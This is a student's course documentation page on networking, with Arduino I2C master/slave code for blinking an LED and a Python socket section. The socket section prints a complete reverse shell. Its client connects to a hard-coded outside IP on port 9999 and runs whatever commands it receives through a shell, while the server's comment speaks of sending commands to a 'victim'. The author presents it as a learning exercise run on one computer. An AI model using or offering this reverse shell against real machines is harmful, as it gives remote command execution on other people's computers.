Skip to content

15.Networking and Communications

Introduction

This week is an interesting week.. where I thought to learn more and more..... because, this networking and communication caused me more difficult times, during my school robotics projects. Hence, i am very keen to learn more about the Networks and its types of communication.......

For learning purpose… My guru ji’s Documentation Helped alot…

People who are interested to learn the basics of “Network and Communication” can Click Here

So, For learning purpose, I started with I2C protocol…

It is a Master and Slave method… with a 2 wire :

  • Serial data line

  • Serial clock line

In this master board reads and request for information from slave, if required.. and slave used to execute it.... and the master used to send a pulse through serial data line in a regular intervals, it is the data which is transmitted between 2 boards.... for more information click here

The Important infromation is that, the 2 codes, should be compiled in two different microntroller…

An I2C Protocol Communication Video..

The Code for this is .....

The Master Code.....

#include<Wire.h>

#define Slave_pin 9

int x;

void setup() {

  Serial.begin(9600);
  Wire.begin();

}

void loop() {

  Serial.println("How many times you want to blink LED (Enter the number)");

while(Serial.available()==0){

}
  x = Serial.parseInt();

 Wire.beginTransmission(Slave_pin);
 Wire.write(x);
 Wire.endTransmission();
}

The Slave Code....

#include<Wire.h>

#define Slave_address 9
int ledpin = 10;
int x;


void setup(){

  Serial.begin(9600);
  pinMode(ledpin,OUTPUT);

  Wire.begin(Slave_address);

  Wire.onReceive(receiveEvent);

  }

void receiveEvent(){

     x = Wire.read(); 

    }

void loop(){

     if(x==0){

      digitalWrite(ledpin,HIGH);

      } 
      else
      {

      digitalWrite(ledpin,LOW);  

        }
}

Socket communication…

It is a very important type of wireless communication, where most of the hackers’ use this technic to attack others computer or device…

In this method, two computer or device are communicate by using IP address and port number.. hence, binding of the port and ip address of 2 systems helps in formation new layer of communication between devices in a network..

This wireless communication, works only when a device is connected with an internet.... Socket communication can be done, in 2 ways that are:

  • Direct connection
  • Reverse connection

so, for this communication, i used Revers connection method. for that I wrote 2 files server.py and client.py so, this server file is the master, which sends and read the the data from other device or computer.. and the client file, is used to execute the instructions from the client device…

Actually, The reason for doing code was to learn the socket communication.. For that I watch this video tutorial..

For that… I installed Pycharm and I run both these files in same computer by pycharm

This is the code....

Server code..

import socket
import sys


# Create a Socket ( connect two computers)
def create_socket():
    try:
        global host
        global port
        global s
        host = ""
        port = 9999
        s = socket.socket()

    except socket.error as msg:
        print("Socket creation error: " + str(msg))


# Binding the socket and listening for connections
def bind_socket():
    try:
        global host
        global port
        global s
        print("Binding the Port: " + str(port))

        s.bind((host, port))
        s.listen(5)

    except socket.error as msg:
        print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
        bind_socket()


# Establish connection with a client (socket must be listening)

def socket_accept():
    conn, address = s.accept()
    print("Connection has been established! |" + " IP " + address[0] + " | Port" + str(address[1]))
    send_commands(conn)
    conn.close()

# Send commands to client/victim or a friend
def send_commands(conn):
    while True:
        cmd = input()
        if cmd == 'quit':
            conn.close()
            s.close()
            sys.exit()
        if len(str.encode(cmd)) > 0:
            conn.send(str.encode(cmd))
            client_response = str(conn.recv(1024),"utf-8")
            print(client_response, end="")


def main():
    create_socket()
    bind_socket()
    socket_accept()


main()

Client code…

import socket
import os
import subprocess

s = socket.socket()
host = '138.68.68.65'
port = 9999

s.connect((host, port))

while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))

    if len(data) > 0:
        cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
        output_byte = cmd.stdout.read() + cmd.stderr.read()
        output_str = str(output_byte,"utf-8")
        currentWD = os.getcwd() + "> "
        s.send(str.encode(output_str + currentWD))

        print(output_str)

The use of this code is to run the terminal or command line… different computers using socket communication....

but, I executed in a single system… by runing the codes in pycharm....

This is the working video..


Last update: May 11, 2020